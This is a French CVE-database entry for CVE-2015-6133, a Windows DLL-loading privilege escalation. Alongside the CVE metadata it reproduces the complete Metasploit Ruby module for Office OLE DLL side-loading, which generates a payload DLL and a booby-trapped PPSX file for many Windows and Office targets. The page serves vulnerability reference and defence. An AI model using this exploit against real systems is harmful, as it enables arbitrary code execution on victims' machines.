CVE-2015-6133 : Détail

CVE-2015-6133

A01-Broken Access Control
30%V3
Local
2015-12-09
10h00 +00:00
2018-10-12
17h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Microsoft Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT Gold and 8.1, and Windows 10 Gold and 1511 mishandle library loading, which allows local users to gain privileges via a crafted application, aka "Windows Library Loading Remote Code Execution Vulnerability."

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 41706

Date de publication : 2015-12-07 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

require 'zip' require 'base64' require 'msf/core' require 'rex/ole' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Office OLE Multiple DLL Side Loading Vulnerabilities', 'Description' => %q{ Multiple DLL side loading vulnerabilities were found in various COM components. These issues can be exploited by loading various these components as an embedded OLE object. When instantiating a vulnerable object Windows will try to load one or more DLLs from the current working directory. If an attacker convinces the victim to open a specially crafted (Office) document from a directory also containing the attacker's DLL file, it is possible to execute arbitrary code with the privileges of the target user. This can potentially result in the attacker taking complete control of the affected system. }, 'Author' => 'Yorick Koster', 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2015-6132'], ['CVE', '2015-6128'], ['CVE', '2015-6133'], ['CVE', '2016-0041'], ['CVE', '2016-0100'], ['CVE', '2016-3235'], ['MSB', 'MS15-132'], ['MSB', 'MS16-014'], ['MSB', 'MS16-025'], ['MSB', 'MS16-041'], ['MSB', 'MS16-070'], ['URL', 'https://securify.nl/advisory/SFY20150801/com__services_dll_side_loading_vulnerability.html'], ['URL', 'https://securify.nl/advisory/SFY20150805/event_viewer_snapin_multiple_dll_side_loading_vulnerabilities.html'], ['URL', 'https://securify.nl/advisory/SFY20150803/windows_authentication_ui_dll_side_loading_vulnerability.html'], ['URL', 'https://securify.nl/advisory/SFY20151102/shutdown_ux_dll_side_loading_vulnerability.html'], ['URL', 'https://securify.nl/advisory/SFY20150802/shockwave_flash_object_dll_side_loading_vulnerability.html'], ['URL', 'https://securify.nl/advisory/SFY20150806/ole_db_provider_for_oracle_multiple_dll_side_loading_vulnerabilities.html'], ['URL', 'https://securify.nl/advisory/SFY20150905/nps_datastore_server_dll_side_loading_vulnerability.html'], ['URL', 'https://securify.nl/advisory/SFY20150906/bda_mpeg2_transport_information_filter_dll_side_loading_vulnerability.html'], ['URL', 'https://securify.nl/advisory/SFY20151101/mapsupdatetask_task_dll_side_loading_vulnerability.html'], ['URL', 'https://securify.nl/advisory/SFY20150904/windows_mail_find_people_dll_side_loading_vulnerability.html'], ['URL', 'https://securify.nl/advisory/SFY20150804/microsoft_visio_multiple_dll_side_loading_vulnerabilities.html'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'PAYLOAD' => 'windows/exec', 'CMD' => 'C:\\Windows\\System32\\calc.exe', }, 'Payload' => { 'Space' => 2048, }, 'Platform' => 'win', 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Targets' => [ [ 'All', {} ], [ 'COM+ Services / Windows Vista - 10 / Office 2007 - 2016 (MS15-132)', { 'DLL' => 'mqrt.dll', # {ecabafc9-7f19-11d2-978e-0000f8757e2a} 'CLSID' => "\xC9\xAF\xAB\xEC\x19\x7F\xD2\x11\x97\x8E\x00\x00\xF8\x75\x7E\x2A" } ], [ 'Shockwave Flash Object / Windows 10 / Office 2013 (APSB15-28)', { 'DLL' => 'spframe.dll', # {D27CDB6E-AE6D-11cf-96B8-444553540000} 'CLSID' => "\x6E\xDB\x7C\xD2\x6D\xAE\xCF\x11\x96\xB8\x44\x45\x53\x54\x00\x00" } ], [ 'Windows Authentication UI / Windows 10 / Office 2013 - 2016 (MS15-132)', { 'DLL' => 'wuaext.dll', # {D93CE8B5-3BF8-462C-A03F-DED2730078BA} 'CLSID' => "\xB5\xE8\x3C\xD9\xF8\x3B\x2C\x46\xA0\x3F\xDE\xD2\x73\x00\x78\xBA" } ], [ 'Shutdown UX / Windows 10 / Office 2016 (MS15-132)', { 'DLL' => 'wuaext.dll', # {14ce31dc-abc2-484c-b061-cf3416aed8ff} 'CLSID' => "\xDC\x31\xCE\x14\xC2\xAB\x4C\x48\xB0\x61\xCF\x34\x16\xAE\xD8\xFF" } ], [ 'MapUpdateTask Tasks / Windows 10 / Office 2016 (MS16-014)', { 'DLL' => 'phoneinfo.dll', # {B9033E87-33CF-4D77-BC9B-895AFBBA72E4} 'CLSID' => "\x87\x3E\x03\xB9\xCF\x33\x77\x4D\xBC\x9B\x89\x5A\xFB\xBA\x72\xE4" } ], [ 'Microsoft Visio 2010 / Windows 7 (MS16-070)', { 'DLL' => 'msoutls.dll', # 6C92B806-B900-4392-89F7-2ED4B4C23211} 'CLSID' => "\x06\xB8\x92\x6C\x00\xB9\x92\x43\x89\xF7\x2E\xD4\xB4\xC2\x32\x11" } ], [ 'Event Viewer Snapin / Windows Vista - 7 / Office 2007 - 2013 (MS15-132)', { 'DLL' => 'elsext.dll', # {394C052E-B830-11D0-9A86-00C04FD8DBF7} 'CLSID' => "\x2E\x05\x4C\x39\x30\xB8\xD0\x11\x9A\x86\x00\xC0\x4F\xD8\xDB\xF7" } ], [ 'OLE DB Provider for Oracle / Windows Vista - 7 / Office 2007 - 2013 (MS16-014)', { 'DLL' => 'oci.dll', # {e8cc4cbf-fdff-11d0-b865-00a0c9081c1d} 'CLSID' => "\xBF\x4C\xCC\xE8\xFF\xFD\xD0\x11\xB8\x65\x00\xA0\xC9\x08\x1C\x1D" } ], [ 'Windows Mail Find People / Windows Vista / Office 2010 (MS16-025)', { 'DLL' => 'wab32res.dll', # {32714800-2E5F-11d0-8B85-00AA0044F941} 'CLSID' => "\x00\x48\x71\x32\x5F\x2E\xD0\x11\x8B\x85\x00\xAA\x00\x44\xF9\x41" } ], [ 'NPS Datastore server / Windows Vista / Office 2010 (MS16-014)', { 'DLL' => 'iasdatastore2.dll', # {48da6741-1bf0-4a44-8325-293086c79077} 'CLSID' => "\x41\x67\xDA\x48\xF0\x1B\x44\x4A\x83\x25\x29\x30\x86\xC7\x90\x77" } ], [ 'BDA MPEG2 Transport Information Filter / Windows Vista / Office 2010 (MS16-014)', { 'DLL' => 'ehTrace.dll', # {FC772AB0-0C7F-11D3-8FF2-00A0C9224CF4} 'CLSID' => "\xB0\x2A\x77\xFC\x7F\x0C\xD3\x11\x8F\xF2\x00\xA0\xC9\x22\x4C\xF4" } ], ], 'Privileged' => false, 'DisclosureDate' => 'Dec 8 2015', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']), ], self.class) end def exploit if target.name == 'All' targets = @targets else targets = [ target ] end @arch.each do |a| exploit_regenerate_payload('win', a, nil) targets.each do |t| if t.name == 'All' next end print_status("Using target #{t.name}") dll_name = t['DLL'] if target.name == 'All' ppsx_name = t.name.split(/\//).first + ".ppsx" else ppsx_name = datastore['FILENAME'] end print_status("Creating the payload DLL (#{a})...") opts = {} opts[:arch] = [ a ] dll = generate_payload_dll(opts) dll_path = store_file(dll, a, dll_name) print_good("#{dll_name} stored at #{dll_path}, copy it to a remote share") print_status("Creating the PPSX file...") ppsx = get_ppsx(t['CLSID']) ppsx_path = store_file(ppsx, a, ppsx_name) print_good("#{ppsx_name} stored at #{ppsx_path}, copy it to a remote share") end end end def store_file(data, subdir, filename) ltype = "exploit.fileformat.#{self.shortname}" if ! ::File.directory?(Msf::Config.local_directory) FileUtils.mkdir_p(Msf::Config.local_directory) end subdir.gsub!(/[^a-z0-9\.\_\-]+/i, '') if ! ::File.directory?(Msf::Config.local_directory + "/" + subdir) FileUtils.mkdir_p(Msf::Config.local_directory + "/" + subdir) end if filename and not filename.empty? if filename =~ /(.*)\.(.*)/ ext = $2 fname = $1 else fname = filename end else fname = "local_#{Time.now.utc.to_i}" end fname = ::File.split(fname).last fname.gsub!(/[^a-z0-9\.\_\-]+/i, '') fname << ".#{ext}" path = File.join(Msf::Config.local_directory + "/" + subdir, fname) full_path = ::File.expand_path(path) File.open(full_path, "wb") { |fd| fd.write(data) } report_note(:data => full_path.dup, :type => "#{ltype}.localpath") full_path.dup end def create_ole(clsid) ole_tmp = Rex::Quickfile.new('ole') stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE) stm = stg.create_stream("\x01OLE10Native") stm.close directory = stg.instance_variable_get(:@directory) directory.each_entry do |entry| if entry.instance_variable_get(:@_ab) == 'Root Entry' clsid = Rex::OLE::CLSID.new(clsid) entry.instance_variable_set(:@_clsId, clsid) end end # write to disk stg.close ole_contents = File.read(ole_tmp.path) ole_tmp.close ole_tmp.unlink ole_contents end def get_ppsx(clsid) path = ::File.join(Msf::Config.data_directory, 'exploits', 'office_ole_multiple_dll_hijack.ppsx') fd = ::File.open(path, "rb") data = fd.read(fd.stat.size) fd.close ppsx = Rex::Zip::Archive.new Zip::InputStream.open(StringIO.new(data)) do |zis| while entry = zis.get_next_entry ppsx.add_file(entry.name, zis.read) end end ppsx.add_file('/ppt/embeddings/oleObject1.bin', create_ole(clsid)) ppsx.pack end end

Products Mentioned

Configuraton 0

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_8 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Références

http://www.securitytracker.com/id/1034338
Tags : vdb-entry, x_refsource_SECTRACK